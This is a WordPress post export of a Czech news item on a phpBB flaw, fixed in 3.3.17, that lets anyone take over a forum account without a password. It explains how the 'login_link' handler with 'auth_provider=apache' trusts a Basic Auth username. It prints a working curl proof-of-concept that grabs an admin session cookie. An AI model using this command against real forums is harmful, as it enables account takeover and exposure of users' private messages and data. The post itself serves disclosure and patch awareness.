{"id":182030,"date":"2026-06-12T02:48:17","date_gmt":"2026-06-12T00:48:17","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimost-v-phpbb-pozvolyayushhaya-poluchit-dostup-k-lyubomu-akkauntu-bez-autentifikaczii"},"modified":"2026-06-12T02:48:17","modified_gmt":"2026-06-12T00:48:17","slug":"uyazvimost-v-phpbb-pozvolyayushhaya-poluchit-dostup-k-lyubomu-akkauntu-bez-autentifikaczii","status":"publish","type":"post","link":"https:\/\/prohoster.info\/cs\/blog\/news\/uyazvimost-v-phpbb-pozvolyayushhaya-poluchit-dostup-k-lyubomu-akkauntu-bez-autentifikaczii","title":{"rendered":"Zranitelnost v phpBB, kter\u00e1 umo\u017e\u0148uje p\u0159\u00edstup k libovoln\u00e9mu \u00fa\u010dtu bez autentizace","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Ve voln\u00e9m enginu pro vytv\u00e1\u0159en\u00ed f\u00f3r phpBB byla zji\u0161t\u011bna zranitelnost, kter\u00e1 umo\u017e\u0148uje p\u0159ipojit se k relaci jak\u00e9hokoli u\u017eivatele f\u00f3ra prost\u0159ednictv\u00edm jedin\u00e9ho HTTP po\u017eadavku. Zranitelnost se projevuje v konfiguraci phpBB ve v\u00fdchoz\u00edm nastaven\u00ed. Probl\u00e9m byl odstran\u011bn ve verzi phpBB 3.3.17.<\/p>\n

P\u0159i \u00fatoku na b\u011b\u017en\u00e9 u\u017eivatele je mo\u017en\u00e9 z\u00edskat p\u0159\u00edstup k soukrom\u00e9 korespondenci a odes\u00edlat zpr\u00e1vy jm\u00e9nem u\u017eivatele. P\u0159i \u00fatoku na moder\u00e1tory a administr\u00e1tory je mo\u017en\u00e9 mazat ciz\u00ed zpr\u00e1vy a prohl\u00ed\u017eet IP adres<\/a> a e-maily, \u010d\u00edst soukromou korespondenci, ale nelze se dostat do rozhran\u00ed administr\u00e1tora a z\u00edskat p\u0159\u00edstup k hostiteli. <\/p>\n

Podrobnosti o zranitelnosti nejsou uvedeny, ale pomoc\u00ed AI, na z\u00e1klad\u011b opravy, byla znovu vytvo\u0159ena metoda exploatace, zalo\u017een\u00e1 na vol\u00e1n\u00ed zpracovatele «login_link» s nastaven\u00edm metody ov\u011b\u0159ov\u00e1n\u00ed «auth_provider=apache» a v\u00fdm\u011bnou u\u017eivatelsk\u00e9ho jm\u00e9na prost\u0159ednictv\u00edm Basic Auth, po \u010dem\u017e PHP nastav\u00ed prom\u011bnnou prost\u0159ed\u00ed «PHP_AUTH_USER=u\u017eivatelsk\u00e9_jm\u00e9no», a phpBB z n\u00ed extrahuje u\u017eivatelsk\u00e9 jm\u00e9no bez kontroly hesla. Nap\u0159\u00edklad, k z\u00edsk\u00e1n\u00ed identifik\u00e1toru relace u\u017eivatele admin a ulo\u017een\u00ed do souboru cookies.txt lze prov\u00e9st k\u00f3d:<\/p>\n

curl -i -s \
\n -c cookies.txt \
\n -b cookies.txt \
\n -u ‘admin:cokoliv’ \
\n -d ‘login=Login&login_username=admin&login_password=cokoliv’ \
\n ‘https:\/\/target.example\/forum\/ucp.php?mode=login_link&auth_provider=apache&login_link_any=1’
\n
Zdroj: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

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